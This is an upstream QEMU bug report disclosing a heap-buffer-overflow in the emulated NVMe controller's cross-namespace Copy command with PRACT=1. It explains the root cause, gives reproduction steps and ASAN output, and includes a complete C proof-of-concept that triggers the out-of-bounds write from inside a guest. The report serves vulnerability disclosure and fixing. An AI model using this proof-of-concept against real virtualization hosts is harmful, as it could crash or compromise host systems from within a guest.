<!-- This is the upstream QEMU issue tracker. If you are able to, it will greatly facilitate bug triage if you attempt to reproduce the problem with the latest qemu.git master built from source. See https://www.qemu.org/download/#source for instructions on how to do this. QEMU generally supports the last two releases advertised on https://www.qemu.org/. Problems with distro-packaged versions of QEMU older than this should be reported to the distribution instead. See https://www.qemu.org/contribute/report-a-bug/ for additional guidance. If this is a security issue, please consult https://www.qemu.org/contribute/security-process/ --> ## Host environment - Operating system: Linux - OS/kernel version: Linux 5.15.0-171-generic x86_64 - Architecture: x86_64 - QEMU flavor: qemu-system-x86_64 - QEMU version: v11.0.0-rc0-28-g8e711856d7 (commit `8e711856d7639cbffa51405f2cc2366e3d9e3a23`), built with `--enable-debug --enable-asan` - QEMU command line: ``` qemu-system-x86_64 \ -m 512M -nographic \ -kernel linux-6.19.9/arch/x86/boot/bzImage \ -initrd rootfs-new.cpio \ -append 'rdinit=/init console=ttyS0 oops=panic panic=1 quiet' \ -monitor /dev/null \ -cpu kvm64,+smep,+smap \ -enable-kvm \ -device nvme,serial=deadbeef,id=nvme0 \ -drive if=none,id=d1,driver=null-co,read-zeroes=on \ -drive if=none,id=d2,driver=null-co,read-zeroes=on \ -device nvme-ns,drive=d1,bus=nvme0,nsid=1,ms=0,pi=0 \ -device nvme-ns,drive=d2,bus=nvme0,nsid=2,ms=8,pi=1 ``` ## Emulated/Virtualized environment - Operating system: Minimal Linux initramfs guest - OS/kernel version: Linux 6.19.9 - Architecture: x86_64 ## Description of problem AddressSanitizer reports a heap-buffer-overflow in the NVMe controller when handling a Copy command in format 2 (cross-namespace copy) from a namespace without protection information (`ms=0, pi=0`) to a namespace with protection information (`ms=8, pi=1`) with `PRACT=1`. The allocation in `nvme_copy()` is based on the source namespace geometry: ```c iocb->bounce = g_malloc_n(le16_to_cpu(sns->id_ns.mssrl), sns->lbasz + sns->lbaf.ms); ``` For the reproducer configuration this allocates `128 * (512 + 0) = 65536` bytes. Later, `nvme_copy_in_completed_cb()` switches to the destination namespace geometry, computes the metadata pointer at the end of that 65536-byte buffer, and asks `nvme_dif_pract_generate_dif()` to write `128 * 8 = 1024` bytes of PI metadata: ```c mlen = nvme_m2b(dns, nlb); mbounce = iocb->bounce + nvme_l2b(dns, nlb); nvme_dif_pract_generate_dif(dns, iocb->bounce, len, mbounce, mlen, apptag, &iocb->reftag); ``` This produces an out-of-bounds write immediately past the end of the bounce buffer. The same out-of-bounds region is later consumed again in `nvme_copy_out_cb()` when QEMU builds the metadata I/O vector for the destination namespace. The issue appears to be that the buffer allocation is unconditionally tied to the source namespace geometry, while DIF generation uses the destination namespace geometry. `nvme_copy_corresp_pi_match()` accepts this `ms=0` to `ms=8` case as a valid corresponding PI match, but it does not ensure that the bounce buffer is large enough for generated metadata. This was reproduced with KVM and ASAN; the same command flow is also reachable with TCG. ## Steps to reproduce 1. Build QEMU with ASAN: ``` mkdir build && cd build CC=clang-15 CXX=clang++-15 ../configure \ --target-list=x86_64-softmmu \ --enable-debug --enable-asan make -j$(nproc) ``` 2. Launch the guest with the command line above so that `nsid=1` has no PI metadata and `nsid=2` uses `ms=8, pi=1`. 3. Inside the guest, run a reproducer that: - opens `/dev/nvme0`, `/dev/nvme0n1`, and `/dev/nvme0n2` - enables Host Behavior Support copy descriptor format 2 by sending Set Features (`FID=0x16`) with `cdfe=0x04` - submits an NVMe Copy command (`opcode=0x19`) to destination `nsid=2` with format 2, `PRACT=1`, source `nsid=1`, `slba=0`, and `nlb=127` (128 logical blocks) 4. QEMU aborts with ASAN in `nvme_dif_pract_generate_dif_crc16()`. ```c /* * PoC: NVMe Copy Command Cross-Namespace Heap-Buffer-Overflow * * Bug: When the NVMe copy command (format 2, cross-namespace) copies from * a namespace without protection information (PI) to a namespace with PI * (PRACT=1), the bounce buffer is allocated based on the source namespace's * geometry (lbasz + ms), but the DIF metadata is generated using the * destination namespace's geometry. Since the source has ms=0, no space is * reserved for metadata in the bounce buffer, causing a heap-buffer-overflow * when nvme_dif_pract_generate_dif() writes PI tuples past the buffer end. * * Overflow size: dns->lbaf.ms * nlb bytes (e.g., 8 * 128 = 1024 bytes) * * QEMU command line: * qemu-system-x86_64 -m 512M -nographic \ * -kernel linux-6.19.9/arch/x86/boot/bzImage \ * -initrd rootfs-new.cpio \ * -append 'rdinit=/init console=ttyS0 oops=panic panic=1 quiet' \ * -monitor /dev/null -cpu kvm64,+smep,+smap -enable-kvm \ * -device nvme,serial=deadbeef,id=nvme0 \ * -drive if=none,id=d1,driver=null-co,read-zeroes=on \ * -drive if=none,id=d2,driver=null-co,read-zeroes=on \ * -device nvme-ns,drive=d1,bus=nvme0,nsid=1,ms=0,pi=0 \ * -device nvme-ns,drive=d2,bus=nvme0,nsid=2,ms=8,pi=1 * * Build: musl-gcc -static -O2 -o poc_nvme_copy_oob poc_nvme_copy_oob.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdint.h> #include <errno.h> /* NVMe passthrough command (from linux/nvme_ioctl.h) */ struct nvme_passthru_cmd { uint8_t opcode; uint8_t flags; uint16_t rsvd1; uint32_t nsid; uint32_t cdw2; uint32_t cdw3; uint64_t metadata; uint64_t addr; uint32_t metadata_len; uint32_t data_len; uint32_t cdw10; uint32_t cdw11; uint32_t cdw12; uint32_t cdw13; uint32_t cdw14; uint32_t cdw15; uint32_t timeout_ms; uint32_t result; }; #define NVME_IOCTL_ID _IO('N', 0x40) #define NVME_IOCTL_ADMIN_CMD _IOWR('N', 0x41, struct nvme_passthru_cmd) #define NVME_IOCTL_IO_CMD _IOWR('N', 0x43, struct nvme_passthru_cmd) /* NVMe opcodes */ #define NVME_ADMIN_SET_FEATURES 0x09 #define NVME_CMD_COPY 0x19 /* Feature IDs */ #define NVME_FID_HOST_BEHAVIOR 0x16 /* PRINFO bits (4-bit field) */ #define NVME_PRINFO_PRACT 0x8 /* * NvmeHostBehaviorSupport structure (512 bytes) * Must match QEMU's definition exactly. */ struct nvme_hbs { uint8_t acre; uint8_t etdas; uint8_t lbafee; uint8_t rsvd3; uint16_t cdfe; /* Copy Descriptor Format Enable */ uint8_t rsvd6[506]; } __attribute__((packed)); /* * NvmeCopySourceRangeFormat0_2 (32 bytes) * Used for copy formats 0 and 2. * For format 2, sparams contains the source NSID. */ struct nvme_copy_range_f2 { uint32_t sparams; /* source NSID (format 2) */ uint8_t rsvd4[4]; uint64_t slba; /* source starting LBA */ uint16_t nlb; /* number of logical blocks (0-based) */ uint8_t rsvd18[4]; uint16_t sopt; uint32_t reftag; uint16_t apptag; uint16_t appmask; } __attribute__((packed)); static int get_nsid(int fd) { return ioctl(fd, NVME_IOCTL_ID); } int main(void) { int fd_ctrl, fd_dst, ret; int fd_n1, fd_n2, nsid_n1, nsid_n2; int dst_nsid, src_nsid; struct nvme_passthru_cmd cmd; printf("[*] NVMe Copy Cross-NS DIF Heap-Buffer-Overflow PoC\n"); printf("[*] Bug: bounce buffer sized for src ns (ms=0) but DIF\n"); printf("[*] generated using dst ns (ms=8) -> OOB write\n\n"); /* Open NVMe controller character device */ fd_ctrl = open("/dev/nvme0", O_RDWR); if (fd_ctrl < 0) { perror("[-] open /dev/nvme0"); return 1; } printf("[+] Opened /dev/nvme0 (controller)\n"); /* Discover namespace IDs */ fd_n1 = open("/dev/nvme0n1", O_RDWR); fd_n2 = open("/dev/nvme0n2", O_RDWR); if (fd_n1 < 0 || fd_n2 < 0) { printf("[-] Cannot open namespace devices\n"); if (fd_n1 >= 0) close(fd_n1); if (fd_n2 >= 0) close(fd_n2); close(fd_ctrl); return 1; } nsid_n1 = get_nsid(fd_n1); nsid_n2 = get_nsid(fd_n2); printf("[+] /dev/nvme0n1 nsid=%d, /dev/nvme0n2 nsid=%d\n", nsid_n1, nsid_n2); /* * We need destination = nsid with PI (ms=8, pi=1) = QEMU nsid 2 * and source = nsid without PI (ms=0) = QEMU nsid 1. * The QEMU config has nsid=2 with PI. Find which device has it. */ if (nsid_n1 == 2) { fd_dst = fd_n1; dst_nsid = nsid_n1; src_nsid = nsid_n2; close(fd_n2); } else if (nsid_n2 == 2) { fd_dst = fd_n2; dst_nsid = nsid_n2; src_nsid = nsid_n1; close(fd_n1); } else { printf("[-] Cannot find nsid=2 (PI namespace)\n"); close(fd_n1); close(fd_n2); close(fd_ctrl); return 1; } printf("[+] Destination ns (PI): nsid=%d, Source ns (no PI): nsid=%d\n", dst_nsid, src_nsid); /* * Step 1: Set Features - Host Behavior Support * Enable cdfe for copy format 2 (bit 2 = 0x04) */ struct nvme_hbs hbs; memset(&hbs, 0, sizeof(hbs)); hbs.cdfe = 0x04; /* enable copy format 2 */ memset(&cmd, 0, sizeof(cmd)); cmd.opcode = NVME_ADMIN_SET_FEATURES; cmd.cdw10 = NVME_FID_HOST_BEHAVIOR; cmd.addr = (uint64_t)(uintptr_t)&hbs; cmd.data_len = sizeof(hbs); ret = ioctl(fd_ctrl, NVME_IOCTL_ADMIN_CMD, &cmd); printf("[*] Set Features (HBS, cdfe=0x%x): ret=%d\n", hbs.cdfe, ret); if (ret < 0) { printf("[-] Set Features failed: %s\n", strerror(errno)); printf("[-] Continuing anyway...\n"); } /* * Step 2: Submit NVMe Copy command (format 2) * Source: namespace with ms=0, no PI * Dest: namespace with ms=8, PI type 1 * PRACT=1: device generates PI on write * * The bounce buffer is allocated as: * g_malloc_n(mssrl, sns->lbasz + sns->lbaf.ms) * = g_malloc_n(128, 512 + 0) = 65536 bytes * * But DIF generation accesses: * mbounce = bounce + nvme_l2b(dns, nlb) * = bounce + 128*512 = bounce + 65536 * which is past the end of the buffer! * * The DIF generation writes 8 * 128 = 1024 bytes at that * OOB location. */ struct nvme_copy_range_f2 range; memset(&range, 0, sizeof(range)); range.sparams = src_nsid; /* source namespace (no PI) */ range.slba = 0; /* source starting LBA */ range.nlb = 127; /* 128 blocks (0-based) */ range.reftag = 0; range.apptag = 0; range.appmask = 0; memset(&cmd, 0, sizeof(cmd)); cmd.opcode = NVME_CMD_COPY; cmd.nsid = dst_nsid; /* destination namespace (PI) */ cmd.addr = (uint64_t)(uintptr_t)&range; cmd.data_len = sizeof(range); /* CDW10-11: sdlba = 0 (starting destination LBA) */ cmd.cdw10 = 0; cmd.cdw11 = 0; /* * CDW12 layout (NvmeCopyCmd): * byte 0 (bits 7:0): nr = 0 (1 range, 0-based) * byte 1 (bits 15:8): control[0] - bits 3:0 = format = 2 * byte 2 (bits 23:16): control[1] - reserved * byte 3 (bits 31:24): control[2] - bits 5:2 = prinfow * prinfow = PRACT(bit3) | PRCHK(bits2:0) = 0x8 * In control[2]: prinfow << 2 = 0x20 */ cmd.cdw12 = 0 | (2 << 8) /* format = 2 in control[0] */ | (0x20 << 24); /* prinfow=0x8 (PRACT=1) in control[2] */ cmd.cdw14 = 0; /* reftag */ cmd.cdw15 = 0; /* apptag | appmask */ printf("[*] Sending Copy cmd: format=2, src_ns=%d, dst_ns=%d, " "nlb=128, PRACT=1\n", src_nsid, dst_nsid); printf("[*] Expected: ASAN heap-buffer-overflow in " "nvme_dif_pract_generate_dif\n"); ret = ioctl(fd_dst, NVME_IOCTL_IO_CMD, &cmd); printf("[*] Copy command result: %d", ret); if (ret < 0) printf(" (errno=%d: %s)", errno, strerror(errno)); printf("\n"); close(fd_dst); close(fd_ctrl); printf("[*] Done. Check QEMU stderr for ASAN report.\n"); return 0; } ``` ## Additional information ASAN output: ```log ==673522==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x631000038800 at pc 0x55f200e40cd3 bp 0x7ffdabc0edc0 sp 0x7ffdabc0edb8 WRITE of size 2 at 0x631000038800 thread T0 #0 0x55f200e40cd2 in nvme_dif_pract_generate_dif_crc16 hw/nvme/dif.c:87:24 #1 0x55f200e409a8 in nvme_dif_pract_generate_dif hw/nvme/dif.c:143:16 #2 0x55f200e197a2 in nvme_copy_in_completed_cb hw/nvme/ctrl.c:3042:13 #3 0x55f200e17e52 in nvme_copy_in_cb hw/nvme/ctrl.c:3112:5 #4 0x55f201bdf75c in blk_aio_complete block/block-backend.c:1566:9 #5 0x55f201bd6a6f in blk_aio_complete_bh block/block-backend.c:1576:5 #6 0x55f2020b4f1f in aio_bh_call util/async.c:173:5 #7 0x55f2020b56ba in aio_bh_poll util/async.c:220:13 #8 0x55f2020586b5 in aio_dispatch util/aio-posix.c:390:5 #9 0x55f2020b95a8 in aio_ctx_dispatch util/async.c:365:5 #10 0x7f2f9ae8ad3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926) #11 0x55f2020bbba9 in glib_pollfds_poll util/main-loop.c:290:9 #12 0x55f2020baa4f in os_host_main_loop_wait util/main-loop.c:313:5 #13 0x55f2020ba6d6 in main_loop_wait util/main-loop.c:592:11 #14 0x55f201340487 in qemu_main_loop system/runstate.c:945:9 #15 0x55f201e73336 in qemu_default_main system/main.c:50:14 #16 0x55f201e7326e in main system/main.c:93:9 #17 0x7f2f99961d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #18 0x7f2f99961e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #19 0x55f200642f24 in _start (qemu-system-x86_64+0x95ff24) (BuildId: 4c576bd0f2fe72ff16fe736fb10822f0b507) 0x631000038800 is located 0 bytes to the right of 65536-byte region [0x631000028800,0x631000038800) allocated by thread T0 here: #0 0x55f2006c894e in malloc (qemu-system-x86_64+0x9e594e) (BuildId: 4c576bd0f2fe72ff16fe736fb10822f0b507d) #1 0x7f2f9ae93738 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5e738) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926) #2 0x55f200e07780 in nvme_copy hw/nvme/ctrl.c:3404:5 #3 0x55f200e04b89 in __nvme_io_cmd_nvm hw/nvme/ctrl.c:4625:16 #4 0x55f200e03bde in nvme_io_cmd_nvm hw/nvme/ctrl.c:4642:12 #5 0x55f200e023cc in nvme_io_cmd hw/nvme/ctrl.c:4717:16 #6 0x55f200e009f8 in nvme_process_sq hw/nvme/ctrl.c:7836:29 #7 0x55f2020b4f1f in aio_bh_call util/async.c:173:5 #8 0x55f2020b56ba in aio_bh_poll util/async.c:220:13 #9 0x55f2020586b5 in aio_dispatch util/aio-posix.c:390:5 #10 0x55f2020b95a8 in aio_ctx_dispatch util/async.c:365:5 #11 0x7f2f9ae8ad3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926) ``` <!-- The line below ensures that proper tags are added to the issue. Please do not remove it. -->